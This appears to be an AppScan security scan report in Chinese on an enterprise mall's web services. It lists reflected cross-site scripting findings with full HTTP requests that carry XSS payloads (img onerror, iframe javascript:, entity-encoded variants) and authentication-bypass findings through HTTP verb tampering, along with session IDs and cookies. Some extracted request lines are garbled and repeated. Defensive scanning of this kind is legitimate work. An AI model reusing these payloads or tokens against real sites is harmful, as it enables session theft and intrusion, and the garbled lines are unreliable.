pageNum=1&pageSize=15%3Cimg+src%3Djavascript%3Aalert%289244%29%3E&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:38 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15<img src=javascript:alert(9244)>"
```

变体-|3/3

差异: 参数 从以下位置进行控制: 15 至: 15%3Cimg+src%3Dx+onerror%3Dalert%289251%29%3E

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?
pageNum=1&pageSize=15%3Cimg+src%3Dx+onerror%3Dalert%289251%29%3E&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:38 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15<img src=x onerror=alert(9251)>"
```

问题 20 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/2
实体:	pageNum (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/3

差异: 参数 从以下位置进行控制: 1)至: 1%3Ciframe+src%3Djavascript%3Aalert%289280%29%3E

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
/order/selectCmsOrderList/2?pageNum=1%3Ciframe+src%3Djavascript%3Aalert%289280%29%3E&pageSize=15&
orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:40 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1<iframe src=javascript:alert(9280)>"
```

变体-|2/3

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

GET

```
/order/select CmsOrder List/2? page Num=1 \% 3 Cimg+src \% 3 Djavascript \% 3 Aalert \% 289292 \% 29 \% 3 E \& page Size=15 \& order/select CmsOrder List/2? page Num=1 \% 3 Cimg+src \% 3 Djavascript \% 3 Aalert \% 289292 \% 29 \% 3 E \& page Size=15 \& order/select CmsOrder List/2? page Num=1 \% 3 Cimg+src \% 3 Djavascript \% 3 Aalert \% 289292 \% 29 \% 3 E \& page Size=15 \& order/select CmsOrder List/2? page Num=1 \% 3 Cimg+src \% 3 Djavascript \% 3 Aalert \% 289292 \% 29 \% 3 E \& page Size=15 \& order/select CmsOrder List/2? page Num=1 \% 3 Cimg+src \% 3 Djavascript \% 3 Aalert \% 289292 \% 29 \% 3 E \& page Size=15 \& order/select CmsOrder List/2? page Num=1 \% 3 Cimg+src \% 3 Djavascript \% 3 Aalert \% 289292 \% 29 \% 3 E \& page Size=15 \& order/select CmsOrder List/2 Cimg+src \% 3 Djavascript \% 3 Aalert \% 289292 \% 29 \% 3 E \& page Size=15 \& order/select CmsOrder List/2 Cimg+src \% 3 Djavascript \% 3 Aalert \% 289292 \% 29 \% 3 E \& page Size=15 \& order/select CmsOrder List/2 Cimg+src \% 3 Djavascript \% 3 Aalert \% 29 Aaler
 erNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:40 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1<img src=javascript:alert(9292)>"
```

变体-|3/3

差异: 参数 从以下位置进行控制: (1) 至: [1%3Cimg+src%3Dx+onerror%3Dalert%289297%29%3E]

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET
 /order/select CmsOrderList/2? {\tt pageNum=1\$3Cimg+src\$3Dx+onerror\$3Dalert\$289297\$29\$3E\&pageSize=15\&orderlist/2. The contraction of the contractio
rNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:41 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1<img src=x onerror=alert(9297)>"
```

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/user/userModify
实体:	->"userId" (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/4

差异: 参数 从以下位置进行控制: — 至: <iframe src=javascript:alert(10588)>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 204
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId": "
                   <iframe src=javascript:alert(10588)>",
 "account": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
 "telphone": "555-555-5555"
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Integer from String value {}^{\backprime}\mathsf{Ciframe}
src=javascript:alert(10588)>': not a valid Integer value
at [Source: io.netty.buffer.ByteBufInputStream@4a2dff60; line: 1, column: 2] (through reference
chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["userId"])
```

变体-|2/4

差异: 参数 从以下位置进行控制: —至:

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 201
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId": "
                  <img src=javascript:alert(10592)>",
 "account": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
 "telphone": "555-555-5555"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:10 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Integer from String value '<img
    sjavascript:alert(10592)>': not a valid Integer value
at [Source: io.netty.buffer.ByteBufInputStream@709cf9b0; line: 1, column: 2] (through reference
chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["userId"])
```

变体-|3/4

差异: 参数 从以下位置进行控制: —至:

<img\$20src%3D\$26\$23x6a; \$26\$23x61; \$26\$23x76; \$26\$23x61; \$26\$23x73; \$26\$23x63; \$26\$23x72; \$26
\$23x69; \$26\$23x70; \$26\$23x74; \$26\$23x3a; alert\$26\$23x28; 10602\$26\$23x29;>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 266
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
```

```
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId": "<img
src=jvvvascript:alert(10602)>",
 "account": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
 "telphone": "555-555-5555"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:10 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Integer from String value '<img
src=javascript:alert(10602)>':
not a valid Integer value
 at [Source: io.netty.buffer.ByteBufInputStream@3369c968; line: 1, column: 2] (through reference
chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["userId"])
```

变体-|4/4

差异: 参数 从以下位置进行控制: - 至:

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 200
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId": "
                  <img src=x onerror=alert(10603)>",
 "account": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
 "telphone": "555-555-5555"
```

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:10 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Integer from String value '<imp src=x
onerror=alert(10603)>': not a valid Integer value
at [Source: io.netty.buffer.ByteBufInputStream@2d1d74af; line: 1, column: 2] (through reference chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["userId"])
```

问题 1 / 18

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使用 HTTP 动词篡改的认证旁路	
严重性:	<u>ф</u>
CVSS 分数:	6.4
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	(Page)
风险:	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 91>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
```

```
<meta charset="utf-8">
    <title>系统登录</title>
   <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
   <meta name="author" content="pixelcave">
   <meta name="robots" content="noindex, nofollow">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
   <!-- Icons -->
   <!-- The following icons can be replaced with your own, they are used by desktop and mobile
hrowsers -->
   <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/imq/icon76.png"</pre>
sizes="76x76">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   sizes="180x180">
   <!-- END Icons -->
    <!-- Stylesheets -->
   <!-- Bootstrap is included in its original form, unaltered -->
   k rel="stylesheet" type="text/css"
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
<link rel="stylesheet" href="css/font-awesome.min.css"/>
   <link rel="stylesheet" href="css/build.css"/>
   <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
   <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
   <style>
       .error {
         color: red;
         .toptitle{font-family:"
                                     微软雅黑";font-size:16px;padding-top:10px;}
        body{background-color: #F2F4F4;}
        #login-background{background-color: #730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
    <!-- Login Background -->
    <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
</div>
```

```
<!-- END Login Background -->
   <!-- Login Container -->
   <div id="login-container" class="animation-fadeIn">
      <!-- Login Title -->
       <!-- END Login Title -->
       <!-- Login Block -->
       <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
               <div align="center" style="padding:30px 0;">
                      </div>
        <!-- Login Form -->
        <form
. . .
. . .
. . .
```

问题 2 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	#
CVSS 分数:	6.4
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/static/goodscontrolList.html
实体:	goodscontrolList.html (Page)
风险:	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

变体-|1/2

差异: 方法 从以下位置进行控制: OPTIONS 至: BOGUS

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/goodscontrolList.html HTTP/1.1
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Access-Control-Request-Method: GET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: */*
Access-Control-Request-Headers: sessionid
Accept-Language: en-US,en;q=0.8
```

```
HTTP/1.1 200 OK
Content-Length: 17906
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<style>
   #goodscontrol-table td {
       text-align: center;
       line-height: 28px;
    #goodscontrol-table th {
      text-align: center;
       line-height: 28px;
</style>
<div class="row">
   <div class="col-xs-12">
      <div id="goodscontrol-table"></div>
   </div>
</div>
<!--查询模板-->
<script id="goodscontrol searchTempl" type="text/html">
   <div>
         <form method="post" id="goodscontrolsearchForm" role="form">
         资产编码
         <input type="text" class="form-control goods se entry" name="goodscode"</pre>
         id="goodscontrolcode"
         autocomplete="off"/>
         <input type="hidden" name="goodsid" id="goodscontrolid"/>
        资产名称
         <input type="text" class="form-control" name="goodsname" id="goodsname"/>
         </+d>
         上下架状态
         <select id="goodscontrolselect" name="status" class="form-control" type="text">
         <option value>--请选择--</option>
         <option value='2'>待上架</option>
         <option value='1'>上架</option>
         <option value='0'>下架</option>
         </select>
         </form>
         </div>
       </div>
   </div>
</script>
<!--查询模板-->
<script id="ongoods_Temp" type="text/html">
<div id="ongoods_Dig" class="from_table_con">
       <div class="form-group">
        <div>
         <form method="post" id="on goods form" role="form">
         <!-- <td>上架时间
```

```
<input type="text" class="form-control " id="od begindate" name="begindate"</pre>
         下架时间
         <+d>>
         <input type="text" class="form-control " id="od_enddate" name="enddate"</pre>
         value="">
         -->
                                                确认上架
         </form>
         </div>
       </div>
   </div>
</script>
<script type="text/javascript">
    //初始化js
   $(function () {
       //var goodsURL = "http://test.vr.weilian.cn:40884/";
       var goodsURLs = goodsURL;
       //初始化上下架管理列表
       var option = {
         plusBtn: [{
         id: "queryGoodscontrolBtn",
text: "查询",
         clazz: "btn btn-primary btn-sm",
         iconClass: "fa fa-grav"
         },{
         id: "onGoodscontrolBtn",
         text: "上架",
         clazz: "btn btn-primary btn-sm", iconClass: "fa fa-grav"
         },{
         id: "offGoodscontrolBtn",
         text: "下架",
         clazz: "btn btn-primary btn-sm",
         iconClass: "fa fa-grav"
         //自定义按钮绑定事件
         onInit: function () {
         $("#query
. . .
. . .
```

变体-|2/2

差异: 方法 从以下位置进行控制: GET 至: BOGUS

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/goodscontrolList.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: text/html, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
```

```
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Content-Length: 17906
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<style>
   #goodscontrol-table td {
      text-align: center;
      line-height: 28px;
   #goodscontrol-table th {
      text-align: center;
      line-height: 28px;
</style>
<div class="row">
   <div class="col-xs-12">
      <div id="goodscontrol-table"></div>
   </div>
</div>
<!--查询模板-->
<div class="form-group">
       <div>
        <form method="post" id="goodscontrolsearchForm" role="form">
        资产编码
        <+d>>
        <input type="text" class="form-control goods se entry" name="goodscode"</pre>
        id="goodscontrolcode"
        autocomplete="off"/>
        <input type="hidden" name="goodsid" id="goodscontrolid"/>
        资产名称
        <+d>>
        <input type="text" class="form-control" name="goodsname" id="goodsname"/>
        上下架状态
        <select id="goodscontrolselect" name="status" class="form-control" type="text">
        <option value>--请选择--</option>
        <option value='2'>待上架</option>
        <option value='1'>上架</option>
        <option value='0'>下架</option>
        </select>
        </form>
        </div>
      </div>
   </div>
</script>
<!--查询模板-->
<div class="form-group">
        <form method="post" id="on goods form" role="form">
```

```
<!-- <td>上架时间
         <input type="text" class="form-control " id="od begindate" name="begindate"</pre>
         value="">
         下架时间
         <input type="text" class="form-control " id="od enddate" name="enddate"</pre>
         value="">
         -->
                                               确认上架
         </form>
         </div>
       </div>
   </div>
</script>
<script type="text/javascript">
   $(function () {
       //var goodsURL = "http://test.vr.weilian.cn:40884/";
       var goodsURLs = goodsURL;
       //初始化上下架管理列表
       var option = {
        plusBtn: [{
         id: "queryGoodscontrolBtn",
         text: "查询",
         clazz: "btn btn-primary btn-sm",
         iconClass: "fa fa-grav"
         },{
         id: "onGoodscontrolBtn",
         text: "上架",
clazz: "btn btn-primary btn-sm",
         iconClass: "fa fa-grav"
         },{
         id: "offGoodscontrolBtn",
         text: "下架",
clazz: "btn btn-primary btn-sm",
iconClass: "fa fa-grav"
         //自定义按钮绑定事件
         onInit: function () {
         $("#queryGoodscontrolBtn").on("click", function () {
. . .
```

问题 3 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	<u>ф</u>
CVSS 分数:	6.4
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/static/goodstree.html
实体:	goodstree.html (Page)
MRM:	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

变体-|1/2

差异: 方法 从以下位置进行控制: GET 至: BOGUS

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/goodstree.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: text/html, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 12614
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<style>
    #gcl-goodstree_table td {
        text-align: center;
       line-height: 28px;
    #gcl-goodstree table th {
        text-align: center;
       line-height: 28px;
</style>
<div class="newpage-con padding-10">
    <div class="row">
        <!-- 左侧开始 -->
